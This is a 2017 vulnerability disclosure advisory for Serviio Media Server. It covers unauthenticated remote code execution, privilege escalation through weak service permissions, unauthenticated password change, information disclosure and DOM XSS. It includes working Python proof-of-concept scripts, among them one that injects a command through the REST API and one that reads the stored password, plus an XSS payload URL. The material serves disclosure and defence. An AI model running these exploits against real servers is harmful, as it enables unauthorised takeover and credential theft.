SSD Advisory – Serviio Media Server Multiple Vulnerabilities
Credit to Author: Maor Schwartz| Date: Tue, 02 May 2017 10:58:33 +0000
Want to get paid for a vulnerability similar to this one?
Contact us at: sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom
Vulnerabilities Summary
The following advisory describes a five (5) vulnerabilities found in Serviio Media Server. Affected version: 1.8.0.0 PRO, 1.7.1, 1.7.0, 1.6.1.
Serviio is a free media server. It allows you to stream your media files (music, video or images) to renderer devices (e.g. a TV set, Bluray player, games console or mobile phone) on your connected home network.
Serviio works with many devices from your connected home (TV, Playstation 3, XBox 360, smart phones, tablets, etc.). It supports profiles for particular devices so that it can be tuned to maximise the device’s potential and/or minimize lack of media format playback support (via transcoding).
Serviio is based on Java technology and therefore runs on most platforms, including Windows, Mac and Linux (incl. embedded systems, e.g. NAS).
The vulnerabilities found in Serviio Media Server are:
- Remote Code Execution
- Local Privilege Escalation
- Unauthenticated Password Modification
- Information Disclosure
- DOM-Based Cross-Site Scripting (XSS)
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor Response
We have tried on numerous occasions over the past two months to contact the vendor, all emails sent to them went unanswered.
Vulnerabilities Details
Remote Code Execution
Serviio Media Server is affected by an unauthenticated remote code execution vulnerability due to improper access control enforcement of the Configuration REST API and unsanitized input when FFMPEGWrapper calls cmd.exe to execute system commands. A remote attacker can exploit this with a simple JSON request, gaining system access with SYSTEM privileges via a specially crafted request and escape sequence.
Vulnerable Code
Vulnerable file path: org/serviio/ui/resources/server/ActionsServerResource.java
Vulnerable file path: serviio.jar / external / ProcessExecutor.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | private Map<String, String> createWindowsRuntimeEnvironmentVariables() { HashMap<String, String> newEnv = new HashMap<String, String>(); newEnv.putAll(System.getenv()); ProcessExecutorParameter[] i18n = new ProcessExecutorParameter[this.commandArguments.length + 2]; i18n[0] = new ProcessExecutorParameter(“cmd”); i18n[1] = new ProcessExecutorParameter(“/C”); for (int counter = 0; counter < this.commandArguments.length; ++counter) { ProcessExecutorParameter argument = this.commandArguments[counter]; String envName = “JENV_” + counter; i18n[counter + 2] = new ProcessExecutorParameter(“%” + envName + “%”); boolean quotesNeededForWindows = this.quotesNeededForWindows(argument); if (!quotesNeededForWindows) { argument = new ProcessExecutorParameter(this.escapeAmpersandForWindows(argument.getValue())); } newEnv.put(envName, this.wrapInQuotes(argument, quotesNeededForWindows)); } this.commandArguments = i18n; String[] tempPath = FileUtils.splitFilePathToDriveAndRest(System.getProperty(“java.io.tmpdir”)); newEnv.put(“HOMEDRIVE”, tempPath[0]); newEnv.put(“HOMEPATH”, tempPath[1]); newEnv.putAll(this.createFontConfigRuntimeEnvironmentVariables()); if (log.isTraceEnabled()) { log.trace(String.format(“Env variables: %s”, newEnv.toString())); } return newEnv; } private String wrapInQuotes(ProcessExecutorParameter argument, boolean quotesNeeded) { return (quotesNeeded ? “”” : “”) + argument + (quotesNeeded ? “”” : “”); } protected boolean quotesNeededForWindows(ProcessExecutorParameter argument) { boolean quotesNeeded = argument.getValue().indexOf(” “) > –1; return quotesNeeded; } private String escapeAmpersandForWindows(String value) { return value.replaceAll(“&”, “^&”); } |
Proof of Concept
The Proof of Concept will create a file testingus3.txt in ‘C:Program FilesServiiobin‘ with whoami output in it and start a calc.exe child process as nt authoritysystem.
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 | from urllib2 import Request, urlopen import sys if (len(sys.argv) <= 1): print ‘[*] Usage: serviio_rce.py <ip address>’ exit(0) host = sys.argv[1] values = “”“ <action> <name>checkStreamUrl</name> <parameter>VIDEO</parameter> <parameter>1.2.3.4'\"`&whoami >testingus3.txt&&calc&`'</parameter> </action>”“” headers = { ‘Content-Type’: ‘application/xml’, ‘Accept’: ‘application/xml’ } request = Request(‘http://’+host+‘:23423/rest/action’, data=values, headers=headers) response_body = urlopen(request).read() print response_body ”‘ Raw request: POST /rest/action HTTP/1.1 Host: 10.211.55.3:23423 Content-Length: 93 Accept: application/json, text/plain, */* Origin: http://10.211.55.3:23423 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_12_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.98 Safari/537.36 Content-Type: application/json;charset=UTF-8 Referer: http://10.211.55.3:23423/console/ Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.8 DNT: 1 Connection: close {“name”:”checkStreamUrl”,”parameter”:[“VIDEO”,”1.2.3.4′“`&whoami >testingus3.txt&&calc&`‘”]} ‘” |
Local Privilege Escalation
Serviio Windows application suffers from an unquoted search path issue impacting the service ‘Serviio’ as part of Serviio DLNA server solution. This could potentially allow an authorized but non-privileged local user to execute arbitrary code with elevated privileges on the system.
A successful attempt would require the local user to be able to insert their code in the system root path undetected by the OS or other security applications
where it could potentially be executed during application startup or reboot. If successful, the local user’s code would execute with the elevated privileges of the application.
Serviio also suffers from improper permissions which can be used by a simple authenticated user that can change the executable file with a binary of choice. The vulnerability exist due to the improper permissions, with the ‘F’ flag (Full) for ‘Users’ group, for the Serviio directory and its sub-directories.
Proof of Concept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 | C:>sc qc Serviio [SC] QueryServiceConfig SUCCESS SERVICE_NAME: Serviio TYPE : 110 WIN32_OWN_PROCESS (interactive) START_TYPE : 2 AUTO_START ERROR_CONTROL : 1 NORMAL BINARY_PATH_NAME : C:Program FilesServiiobinServiioService.exe LOAD_ORDER_GROUP : TAG : 0 DISPLAY_NAME : Serviio DEPENDENCIES : HTTP SERVICE_START_NAME : LocalSystem C:>icacls “C:Program FilesServiiobinServiioService.exe” C:Program FilesServiiobinServiioService.exe BUILTINUsers:(I)(F) NT AUTHORITYSYSTEM:(I)(F) BUILTINAdministrators:(I)(F) Successfully processed 1 files; Failed processing 0 files C:> |
Unauthenticated Password Modification
Serviio suffer from unauthenticated password modification vulnerability due to improper access control enforcement of the Configuration REST API. A remote attacker can exploit this, via a specially crafted request, to change the login password for the mediabrowser protected page.
Proof of Concept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 | import sys import xml.etree.ElementTree as ET from urllib2 import Request, urlopen if (len(sys.argv) <= 3): print ‘[*] Usage: serviio_pwd.py <ipaddress> <port> <newpassword>’ print ‘[*] Example: serviio_pwd.py 10.211.55.3 23423 eagle20fox2’ exit(0) host = sys.argv[1] port = sys.argv[2] #default port for console is 23423, and for the mediabrowser is 23424. lozi = sys.argv[3] values = “”“ <remoteAccess> <remoteUserPassword>{0}</remoteUserPassword> <preferredRemoteDeliveryQuality>ORIGINAL</preferredRemoteDeliveryQuality> <portMappingEnabled>true</portMappingEnabled> <externalAddress>myserviio.dyndns.com</externalAddress> </remoteAccess>”“” put = values.format(lozi) headers = { ‘Content-Type’: ‘application/xml’, ‘Accept’: ‘application/xml’ } request = Request(‘http://’+host+‘:’+port+‘/rest/remote-access’, data=put, headers=headers) request.get_method = lambda: ‘PUT’ response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for errorcode in roottree.iter(‘errorCode’): print “nReceived error code: “+errorcode.text print ‘Password successfully changed to: ‘+lozi print ‘Go to: http://’+host+‘:23424/mediabrowsern’ |
Information Disclosure
Serviio suffer from information disclosure vulnerability due to improper access control enforcement of the Configuration REST API. An unauthenticated, remote attacker can exploit this, via a specially crafted request, to gain access to potentially sensitive information.
Proof of Concept
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 | import sys import xml.etree.ElementTree as ET from urllib2 import Request, urlopen if (len(sys.argv) <= 2): print ‘[*] Usage: serviio_id.py <ip address> <port>’ print ‘[*] Example: serviio_id.py 10.211.55.3 23423’ exit(0) host = sys.argv[1] port = sys.argv[2] headers = {‘Accept’: ‘application/xml’} request = Request(‘http://’+host+‘:’+port+‘/rest/import-export/online’, headers=headers) print ‘nPrinting ServiioLinks:’ print ‘———————-n’ response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for URLs in roottree.iter(‘serviioLink’): print URLs.text print headers = {‘Accept’: ‘application/xml’} #request = Request(‘http://’+host+’:’+port+’/rest/list-folders?directory=C:\’, headers=headers) request = Request(‘http://’+host+‘:’+port+‘/rest/list-folders?directory=/etc’, headers=headers) print ‘nPrinting directories:’ print ‘———————n’ response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for URLs in roottree.iter(‘path’): print URLs.text print headers = {‘Accept’: ‘application/xml’} request = Request(‘http://’+host+‘:’+port+‘/rest/remote-access’, headers=headers) print ‘nPrinting mediabrowser password:’ print ‘——————————-n’ response_body = urlopen(request).read() roottree = ET.fromstring(response_body) for URLs in roottree.iter(‘remoteUserPassword’): print URLs.text print |
DOM-Based Cross-Site Scripting (XSS)
Serviio is vulnerable to a DOM-based cross-site scripting. Data is read from document.location and passed to document.write() via the following statement in the response: document.write(‘<base href=”‘ + document.location + ‘” />’); This can be exploited to execute arbitrary HTML and script code in a user’s browser DOM in context of an affected site.
Proof of Concept
An attacker sends the following request:
1 | http://172.19.0.214:23424/mediabrowser/#/browse/V_F?title=Folders&b=Home&b=Video&bid=0″><script>alert(“ZSL”)</script> |
Element response:
1 | <base href=“http://172.19.0.214:23424/mediabrowser/#/login?title=Folders&b=Home&b=Video&bid=0%22%3E%3Cscript%3Ealert(%22ZSL%22)%3C%2Fscript%3E”> |